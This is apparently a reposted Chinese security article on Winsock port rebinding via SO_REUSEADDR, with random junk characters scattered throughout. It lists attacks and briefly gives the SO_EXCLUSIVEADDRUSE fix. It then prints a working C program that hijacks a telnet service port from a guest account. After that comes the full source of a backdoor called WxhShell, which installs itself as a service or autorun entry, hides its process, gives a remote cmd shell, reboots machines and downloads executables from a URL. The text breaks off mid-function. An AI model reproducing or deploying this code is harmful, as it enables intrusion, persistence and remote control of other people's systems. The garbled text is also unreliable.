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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }+!"mJx@ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Cu+p!hV sx#O3*'>1 saddr.sin_family = AF_INET; ?,$:~O*w d~<$J9% saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;KQU%
k$ S(PV*e8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J@-'IJ ??/bI~Sd 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zx$YNjeV b\"F6TF: 这意味着什么?意味着可以进行如下的攻击: M+&~sX*a RnH?95n?{ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {?yVA Y~}MfRE3z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %r[`HF> O&7.Ry
m 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {"'M2w:|D1 @}q, ';H7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 g@'XmT="_ 0cmd +` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /l7 %x. 4#(/{6J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 OL\-SQ& ?6_]^:s 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &oMEz 0 i431mpMa #include T:Cq}4k< #include &oG>Rqkm #include Qf_N,Bq{a #include X`g<"Ka DWORD WINAPI ClientThread(LPVOID lpParam); (1CP]5W int main() 4XAB_Q { j55_wx@cA WORD wVersionRequested; $s_k/dM~& DWORD ret; VrW]|jIu* WSADATA wsaData; ]|3hK/ BOOL val; Cj>HMB} SOCKADDR_IN saddr; bhUE!h< SOCKADDR_IN scaddr; &n1Vv_Lb int err; Kl. *Q SOCKET s; gOg7:VPG SOCKET sc; \IQG%L{ int caddsize; Uc!k)o#= HANDLE mt; tpSgbGzp DWORD tid; 9Buss+K?/h wVersionRequested = MAKEWORD( 2, 2 ); ]2-Qj)mZ] err = WSAStartup( wVersionRequested, &wsaData ); 5 SQ!^1R 9 if ( err != 0 ) { 0gqV>: printf("error!WSAStartup failed!\n"); RZxh"lIo return -1; a?W5~?\9 } eztK`_n saddr.sin_family = AF_INET; +^9^)Ur| : ?f+* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QP(d77n L!JC)p. saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Pjh;;k|V saddr.sin_port = htons(23); BZ\="N#f if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ihf>FMl: { ]ttF''lH printf("error!socket failed!\n"); IS8 sJ6") return -1; <Ch9"1f3, } l'l&Zqd val = TRUE; ?u2\*@C //SO_REUSEADDR选项就是可以实现端口重绑定的 F(1E@xs if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S<(i /5Z+ { d\qszYP[ printf("error!setsockopt failed!\n"); pq0Z<b;2 return -1; .+>fD0fW7Y } fmYx //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; GpPM ? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /[ m7~B]QE //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 qD%88c)g xlZh(pf if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) J-+mdA { Dh^l:q+c ret=GetLastError(); ;jxX /c printf("error!bind failed!\n"); 2+u+9 rW return -1; `u3kP } r~=+>,
_ listen(s,2); RV@B[: while(1) f/L8usBXq { y={ k7 caddsize = sizeof(scaddr); 0VvY(j:hp //接受连接请求 ~d&&\EZ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &DGqY5= if(sc!=INVALID_SOCKET) %(s| { =X(N+(1~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yPfx!9B if(mt==NULL) yuC"V' { `/1rZ# printf("Thread Creat Failed!\n"); Q:)4 break; QH><!
sa } VP< zOk7 } 6MOwn*%5k CloseHandle(mt); 2L^/\!V# } e3n^$'/\r closesocket(s); &LM@xt4"^[ WSACleanup(); \ MuKS4 return 0; #HL$`&m } 0qR#o/~I DWORD WINAPI ClientThread(LPVOID lpParam) X,@nD@ { @j\;9>I/ SOCKET ss = (SOCKET)lpParam; 3^Is4H_8 SOCKET sc; tY#&_%W unsigned char buf[4096]; u9:sj SOCKADDR_IN saddr; oG22; long num; euY+jc% DWORD val; K:XXtG DWORD ret; yq, qS0Fo //如果是隐藏端口应用的话,可以在此处加一些判断 &T-:`( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 "viZ"/~6 saddr.sin_family = AF_INET; DaH4 Br.2 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :M;|0w*b saddr.sin_port = htons(23); MuO(%.H if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %D-!<)z { N]8/l:@ printf("error!socket failed!\n"); Lm$KR!z return -1; 1grcCL
q } Y".?j5f? val = 100;
Mb_"M7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %Lx#7bR U { 1$))@K-I ret = GetLastError(); Q~^v=ye return -1; DB"z93Mr<K } ,P`:`XQ>_B if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [)}`w;# { UptKN|S&V ret = GetLastError(); xz: return -1; xNY&*jI } |1kA6/ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @6_w{6:b { CZy!nR! printf("error!socket connect failed!\n"); _7v4S/V closesocket(sc); Z>`frL closesocket(ss); X$%[%q8qg return -1; Hj-n
'XZ } G{pF! q while(1) U&^(%W# { @0:Eg 1- //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C^JtJv //如果是嗅探内容的话,可以再此处进行内容分析和记录 U0|wC,7" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <_8eOL<X num = recv(ss,buf,4096,0); 1Xcj=I-4 if(num>0) Mj0jpP<uf send(sc,buf,num,0); ?/3{gOgI$` else if(num==0) H5vg s2R break; 1.2qh"# num = recv(sc,buf,4096,0); sNG 7fi.| if(num>0) /L`qOr2E send(ss,buf,num,0); Cs]\3R|D` else if(num==0) ZDK+>^A) break; "2!5g )iO } q.hpnE~#lh closesocket(ss); W)2k>cS closesocket(sc); {Y+e|B0 return 0 ; 4\U"e* } 9nd,8Nji .$&vSOgd( n Fwg pT ========================================================== 6[Mu3.T Kr<a6BEv5 下边附上一个代码,,WXhSHELL t:'^pYN:g 'eQ*?a43 ========================================================== ;x)f;!e+ 9D5v0Qi #include "stdafx.h" +s+E!= s d<_IC7$u> #include <stdio.h> rb.:(d)T #include <string.h> ,=u!hg #include <windows.h> yBqKldl #include <winsock2.h> >U:.5Tch'V #include <winsvc.h> /z1-4:^`A[ #include <urlmon.h> *6(/5V nqYarHi #pragma comment (lib, "Ws2_32.lib") V[*<^% #pragma comment (lib, "urlmon.lib") ~c,+)69"T RLVz "= #define MAX_USER 100 // 最大客户端连接数 hs)_h^P
#define BUF_SOCK 200 // sock buffer d~CZ9h #define KEY_BUFF 255 // 输入 buffer of_Om$ ['c*<f"
D2 #define REBOOT 0 // 重启 7?Twhs.O #define SHUTDOWN 1 // 关机 p1s&
y0:d od/Q"5t[p #define DEF_PORT 5000 // 监听端口 UnTvot6~ c=B!\J<1 #define REG_LEN 16 // 注册表键长度 }1Hy[4B(k\ #define SVC_LEN 80 // NT服务名长度 ~Ctq I~M@v59C // 从dll定义API F{17K$y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X5)].[d typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yEL5U{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2reQd47 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t] G hONN bmRp)CYd // wxhshell配置信息 XJ1<!tl struct WSCFG { :N=S nyz int ws_port; // 监听端口 I!p[:.t7 char ws_passstr[REG_LEN]; // 口令 U7xQ 5lph int ws_autoins; // 安装标记, 1=yes 0=no -
[vH4~ char ws_regname[REG_LEN]; // 注册表键名 F`f8q\Fc char ws_svcname[REG_LEN]; // 服务名 rV/! VJ6x char ws_svcdisp[SVC_LEN]; // 服务显示名 %\!3tN char ws_svcdesc[SVC_LEN]; // 服务描述信息 35#"]l" char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]#O~lq int ws_downexe; // 下载执行标记, 1=yes 0=no /kFw(l_. char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" T;Ra/H char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O1z3( $gcC}tX }; YLNJ4nE U'xmn$O // default Wxhshell configuration L8 $+%Gvo struct WSCFG wscfg={DEF_PORT, m@`
NN "xuhuanlingzhe", u85Uy
yN 1, &(X-b"2 "Wxhshell", 'CjcFP "Wxhshell", d+6-ten "WxhShell Service", qJJ~#W) "Wrsky Windows CmdShell Service", &Ht5!zuW, "Please Input Your Password: ", vy5SBiK 1, lT-LOu| " http://www.wrsky.com/wxhshell.exe", !-|{B3"6 "Wxhshell.exe" yex0rnQ| }; BWG#W C AI*1kxR // 消息定义模块 pM_oIH'8: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5l
/EZ\q char *msg_ws_prompt="\n\r? for help\n\r#>"; w;DRC5V> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; }Lb[`H,}A char *msg_ws_ext="\n\rExit."; ~i9'9PHX@ char *msg_ws_end="\n\rQuit."; `^CIOCK% char *msg_ws_boot="\n\rReboot..."; OR-fC char *msg_ws_poff="\n\rShutdown..."; /U,;]^ char *msg_ws_down="\n\rSave to "; E<4'4)FHuQ @]:GTrs char *msg_ws_err="\n\rErr!"; j |:{ B char *msg_ws_ok="\n\rOK!"; CW;=q[+w %D<>F&h char ExeFile[MAX_PATH]; {w VJv1*l int nUser = 0; &/]g@^h9 HANDLE handles[MAX_USER]; )p+6yH int OsIsNt; K Fn[ S5xum_Dq SERVICE_STATUS serviceStatus; k|F TT SERVICE_STATUS_HANDLE hServiceStatusHandle;
<sC. ]^DNzqu=@h // 函数声明 ~V!gHJ5M int Install(void); C\5"Kb int Uninstall(void); : x@j)& int DownloadFile(char *sURL, SOCKET wsh); ZE0D= int Boot(int flag); V.kRV{43 void HideProc(void); GMYfcZ/,K int GetOsVer(void); i.6+CA int Wxhshell(SOCKET wsl); -|3feYb' void TalkWithClient(void *cs); }E](NvCq int CmdShell(SOCKET sock); $]S*(K3U~ int StartFromService(void); .0u@PcE:O int StartWxhshell(LPSTR lpCmdLine); C:@JLZB )_Wo6l)i VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uO}UvMW VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^,N=GZRWW {Z{!tR?+ // 数据结构和表定义 ~jn~M_}K SERVICE_TABLE_ENTRY DispatchTable[] = 4ROuy+Ms' { ;*409P {wscfg.ws_svcname, NTServiceMain}, 8k
-l`O~ {NULL, NULL} pv ;ZR }; ^+'\
u;\ #u<n . // 自我安装 A&/YnJ" int Install(void) NE2P
"mY { ;-!j,V+$h char svExeFile[MAX_PATH]; _h8|shyP HKEY key; %cFqD
& 6 strcpy(svExeFile,ExeFile); z~O:w'(g z ,q1TU9 // 如果是win9x系统,修改注册表设为自启动 AvEd? if(!OsIsNt) { 1o%E(*M4I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y>2kOE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yl0_?.1 z RegCloseKey(key); F{"4cyoou if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )r.4`5Rc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <WRrB
`nO RegCloseKey(key); 5Cjh%rj(jl return 0; >7I"_#x1: } k86j&
.m_ } 55#s/`gd)^ } B~t[Gy else { ?0k4l8R lzup! `g // 如果是NT以上系统,安装为系统服务 TuX9:Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Rt2<F-gY if (schSCManager!=0) af<wUxM0 { -Ay=*c.4 SC_HANDLE schService = CreateService <maYS2 ( @fO[{V schSCManager, l.`f^K=8 wscfg.ws_svcname, A~MIFr /8 wscfg.ws_svcdisp, v3/l=e?u SERVICE_ALL_ACCESS, TG@ W:>N( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iW,fKXuo&y SERVICE_AUTO_START, qrZ*r{3 SERVICE_ERROR_NORMAL, >* >}d% svExeFile, RDWUy(iX NULL, |v31weD8 NULL, t1MK5B5jH NULL, N#zh$0!8bJ NULL, MiB}10 NULL ~gJJ@j 0n ); g;G]Xi.B} if (schService!=0) Qvl3=[S { 2{fPQQ;# CloseServiceHandle(schService); 8Jb N&C CloseServiceHandle(schSCManager); T99\R% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b!3Y<D* strcat(svExeFile,wscfg.ws_svcname); nYbI =_- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A4`3yy{0- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \GEf,%U<K RegCloseKey(key); bfl%yGkd/| return 0; IMtfi(Y%F } "D1u2>( } ?3|jB?:k CloseServiceHandle(schSCManager); 0; BX } .T|1l$Jn } z6>Rv9f (D1$ & return 1; k;c>=B)e } "{"745H5 %e|.a)78 // 自我卸载 )$oboAv# int Uninstall(void) a15kFun { ,J)wn;@ HKEY key; aq-R#q ,3~[cE<4 if(!OsIsNt) { ?|,-Bft3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gOL-b9W RegDeleteValue(key,wscfg.ws_regname); |QcE5UC RegCloseKey(key); 7;x}W-`iF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %MH!L2| RegDeleteValue(key,wscfg.ws_regname); ^a{cK RegCloseKey(key); CE;J`; return 0; CP"
} 5KI lU78 } t`oH7)nut } q@0g KC&U else { (>a8h~Na !bg2(2z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |fhYft if (schSCManager!=0) }{S
f* { $G}!eV
6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d:SLyFD$q if (schService!=0) h}SP` { k^C^.[? if(DeleteService(schService)!=0) { VS
?n pH CloseServiceHandle(schService); z(g6$Y{ CloseServiceHandle(schSCManager); uXkc07 r' return 0; F\IJim-Rh } hF;TX.Y6 CloseServiceHandle(schService); 49d02AU% } 6<qVeO&uZ CloseServiceHandle(schSCManager); 9XEP:}5, } bji^b@us_ } 8PXjdHR 3]cW08"c return 1; OuuN~yC } #[$zbZ(I>: dJ&f +
// 从指定url下载文件 Ka+N5 T.f int DownloadFile(char *sURL, SOCKET wsh) '%y5Dh { Q$lgC
v^M HRESULT hr; ]**h`9MF
char seps[]= "/"; yh:Wg$qx char *token; SQ0?M\D7 char *file; }K'gjs/N; char myURL[MAX_PATH]; }Md5a%s< char myFILE[MAX_PATH]; fs,]%g^ jhF&
strcpy(myURL,sURL); X5w_ }Nhe token=strtok(myURL,seps); ])tUXU> while(token!=NULL) }{y(&Oy3Y { 7*I:cga file=token; )p!.V(, token=strtok(NULL,seps); =Owr
l'@|T } v-ZTl4j$ -J'0qN! GetCurrentDirectory(MAX_PATH,myFILE); Zc|V7+Yx strcat(myFILE, "\\"); Y7_2pGvZ strcat(myFILE, file); ,6AnuA send(wsh,myFILE,strlen(myFILE),0); %`)lCK)2 send(wsh,"...",3,0); Yx3ivjX.> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -.!+i8d> if(hr==S_OK) :pXY/Pa return 0; KMll8X else }|u>b!7_. return 1; Ygs:Ox"[-G JcJc&cG } up==g PL|zm5923 // 系统电源模块 &@ [pJ2 int Boot(int flag) nBkzNb{"AZ { LTlbrB HANDLE hToken; r<9G}9 TOKEN_PRIVILEGES tkp; 8_:j.(n =V>inH if(OsIsNt) { )&vuT
q'7' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e<+$E%"7hS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Rx,5?*b$ tkp.PrivilegeCount = 1; g)L<xN8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [M/0 Qx[, AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f(UB$^4 if(flag==REBOOT) { ^{{0ajI9C if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U
ljWBd return 0; "[
#. } cJLAP%.L else { s8V:;$ ! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nI7v:h4 return 0; G(;R+%pu } I#UL nSJ3 } F_.1^XM else { des.TSZ if(flag==REBOOT) { 9!?Ywc>0# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7xh91EU:4 return 0; U%r|hn3 } !%Bhg? else { <i~=-Z( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !D|c2
return 0; 6]NaP_\0 } rd1EA|T } 3-v&ktD&N' dJ.up*aR return 1; 6`WI
S4 } Mi)h<lY 8DGPA // win9x进程隐藏模块 r)|6H"n#]S void HideProc(void) 8e"MP\0V
{ 1YScZ noZ!j>f{@l HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SQT]' if ( hKernel != NULL ) l1%ubu { MGLcM&oR pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rH$M6S ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @~&1! FreeLibrary(hKernel); b ,e"x48q } ~xt]g zp{ M3!4,_!~ return; {HbSty } ^;'FC vd Xmw%f[Xl // 获取操作系统版本 Jp"[` m int GetOsVer(void) aNUMF { p}p}!M| OSVERSIONINFO winfo; }6"l`$=Ev winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FBeo@ GetVersionEx(&winfo); N nq r{ub if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _%KRZx} return 1; rEwd76? else p]rV\,Yss return 0; {sW>J0 } I<qG{PA 6
\}.l // 客户端句柄模块 ${{[g16X int Wxhshell(SOCKET wsl) }CM#jN?( { BVG.ZZR}) SOCKET wsh; 2(km]H^ struct sockaddr_in client; I#/"6%e DWORD myID; q{l %k 2$Umqt while(nUser<MAX_USER) *X
uIA-9 { 3,0b<vfSv int nSize=sizeof(client); a7sX*5t{R wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yG2rAG_G& if(wsh==INVALID_SOCKET) return 1; xbzO'C w ufQyT` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S;j"@'gz9 if(handles[nUser]==0) 49=L9: closesocket(wsh); Nz>xilU' else vLpIVNA]]Y nUser++; |]eWO#vs } U>0bgL WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y*!8[wASHq l
p|`n return 0; qNWSDZQ } 5a|{ytP S5\KI+;PW // 关闭 socket f h:wmc' void CloseIt(SOCKET wsh) #xw3a<z ?u { K=>j+a5$ closesocket(wsh); kGu{[Rh nUser--; C8%MKNPd ExitThread(0); Mtc - } ]fSpG\yU e_}tK1XY // 客户端请求句柄 |3BxNFe`% void TalkWithClient(void *cs) xAr&sGMA { KGGJ\r6 $!^C|,CS SOCKET wsh=(SOCKET)cs; +5Ju `Z char pwd[SVC_LEN]; U$WGe >, char cmd[KEY_BUFF]; S8O,{ char chr[1]; %WPyc%I int i,j; ;Kh?iqn^ qfqL"G while (nUser < MAX_USER) { 8x-(7[#e<g vs@u*4.Ut< if(wscfg.ws_passstr) { <8^ws90Y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cNMDI //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "A0y&^4B@ //ZeroMemory(pwd,KEY_BUFF); OVGB7CB]S i=0; .:O($9^Ho while(i<SVC_LEN) { :r7!HG_ SPm2I(at7 // 设置超时 <j1r6.E) fd_set FdRead; "JE->iD struct timeval TimeOut; K5F;/KR" FD_ZERO(&FdRead); ^ywDa^;- FD_SET(wsh,&FdRead); uSv]1m_-] TimeOut.tv_sec=8; S
R s TimeOut.tv_usec=0; tAkv'. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5> !N)pA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BS%pS( `6(Zc"/
\m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u/V&1In pwd =chr[0]; HX ,\a` if(chr[0]==0xd || chr[0]==0xa) { ZC`VuCg2O pwd=0; iNilk!d6Q3 break; `dhBLAt } YMVmpcz i++; 6{I6'+K~ } ;U#=H9_ ^oR
qu
// 如果是非法用户,关闭 socket 4'td6F if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &Zjs } 'K\H$<CJ #kE8EhQZ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gd$!xN%O send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /x<uv_" WJk3*$= while(1) {
WJ,? 5# m'M5O@? ZeroMemory(cmd,KEY_BUFF); VQ8Fs/Zt! xVRxKM5 { // 自动支持客户端 telnet标准 *P|~vCnr j=0; P9 y+rF. while(j<KEY_BUFF) { 9@}5FoX" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y9k'jEZ"oh cmd[j]=chr[0]; SVObJsB^ if(chr[0]==0xa || chr[0]==0xd) { !s:_>P`MQ cmd[j]=0; Ibx\k
break; uN1VkmtDO } y}?PyPz j++; [("2=Uz; } a^_W}gzzd wc-v]$DW // 下载文件 Ai)>ot if(strstr(cmd,"http://")) { H?,Dv>.#* send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z?'?|vM if(DownloadFile(cmd,wsh)) ,/kZt! send(wsh,msg_ws_err,strlen(msg_ws_err),0); g~U<0+&yw% else KpDb%j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *3s-=.U~ } VVcli* else { JJ'f\f9 Y!+H9R switch(cmd[0]) { ;j
qF:Wl@ hj{)6dBX% // 帮助 bYqv)_8 case '?': { ;+bF4r@:+ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #m;o)KkH$r break; XN{WxcZ } o ZQ@ Yu3 // 安装 ym_as8A*Q case 'i': { 7 U-}Y if(Install()) `\'V]9wS send(wsh,msg_ws_err,strlen(msg_ws_err),0); PHJHW#sv else C6Cr+TScH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ikw.L break; d[ _@l } 0g HV(L?
// 卸载 lr?SL\D case 'r': { 2R,8q0qR: if(Uninstall()) X|D-[|P send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7SNdC8GZ~ else lBm`W]3T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3,2$Ny3N break; w'XN<RWA } P 00%EB // 显示 wxhshell 所在路径 Z9|A"[b case 'p': { s0:M'wA char svExeFile[MAX_PATH]; 9JX@ck strcpy(svExeFile,"\n\r"); 5ArgM% strcat(svExeFile,ExeFile); Z>3m-:-e send(wsh,svExeFile,strlen(svExeFile),0); (nXnP{yb break; C+"c^9[ } HF"TS* // 重启 IP@3R(DS% case 'b': { o7WAH@g send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8@LUL)" if(Boot(REBOOT)) 9%53_nx? send(wsh,msg_ws_err,strlen(msg_ws_err),0); >P:U9
b else { oI'& &Bt closesocket(wsh); Ab>Kf r# ExitThread(0); ]mz '(t } qkz|r?R) break; [h !i{QD } X Q
CE`m // 关机 cB36w$n8 case 'd': { "K$c 9Z8 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {qU;;`P]| if(Boot(SHUTDOWN)) X6_
RlV]Sk send(wsh,msg_ws_err,strlen(msg_ws_err),0); uA;#*eiA/ else { '[HQ}Wvn closesocket(wsh); >`/s+V ExitThread(0); cvE) } QgQclML1| break; Qe-Pg^PS] } D~Ef%!& // 获取shell KUK.;gG*Z case 's': { 4_sJ0 =z- CmdShell(wsh); R*0mCz^+h closesocket(wsh); ,zr,>^v ExitThread(0); 6 eu7&Kj' break; 0rz1b6F5, } *po
o.Zz // 退出 Km!ACA&s6 case 'x': { iSR"$H{ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BFhEDkk CloseIt(wsh); "A&A?% break; \13Q >iAu } *3!r &iY // 离开 w!v^6[! case 'q': { NZa 7[}H send(wsh,msg_ws_end,strlen(msg_ws_end),0); %{pjC7j# closesocket(wsh); 68(^* WSACleanup(); cruBJZr* exit(1); RAk"C!&^m break; "Da-e\yA } w4CcdpR } &BNlMF } Y
.cjEeL@ Yw]$/oP` // 提示信息 x?lRObHK if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'DNxc } {dh,sbl } tm1&OY &|}QdbW return; %'_:#!9 } o|vL:| 8Q hkm}oYW+ // shell模块句柄 ^Y;,cLXJ int CmdShell(SOCKET sock) qV idtSb { XP0;Q;WF} STARTUPINFO si; Yy 0" G ZeroMemory(&si,sizeof(si)); K(lSR si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b_6cK# si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _&U#*g PROCESS_INFORMATION ProcessInfo; reArXmU<u char cmdline[]="cmd"; 2Xk;]-T! CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m;hp1VO) return 0; I{>Z0+ } 64mD%URT G4~@ // 自身启动模式 4e .19H9 int StartFromService(void) `''y,{Fs { _?cum~A@ typedef struct )g^qgxnnV { oqysfLJ DWORD ExitStatus; mDZA\P_ DWORD PebBaseAddress; q m_m8 DWORD AffinityMask; )*XWe|H_ DWORD BasePriority; ?PTXgIC ULONG UniqueProcessId; k'N``. ULONG InheritedFromUniqueProcessId; S ~h*U2 } PROCESS_BASIC_INFORMATION; nK+ke)'Zv= ,ayJgAD PROCNTQSIP NtQueryInformationProcess; 2gkN\w6zQ r-!Qw1 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \,X)!%6kZ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !9YCuHj!p $ (xdF HANDLE hProcess; 1 n&%L8] PROCESS_BASIC_INFORMATION pbi; Sw"h!\c` P(2OTfGGx HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ezY^T if(NULL == hInst ) return 0; :aaX Y:< |4
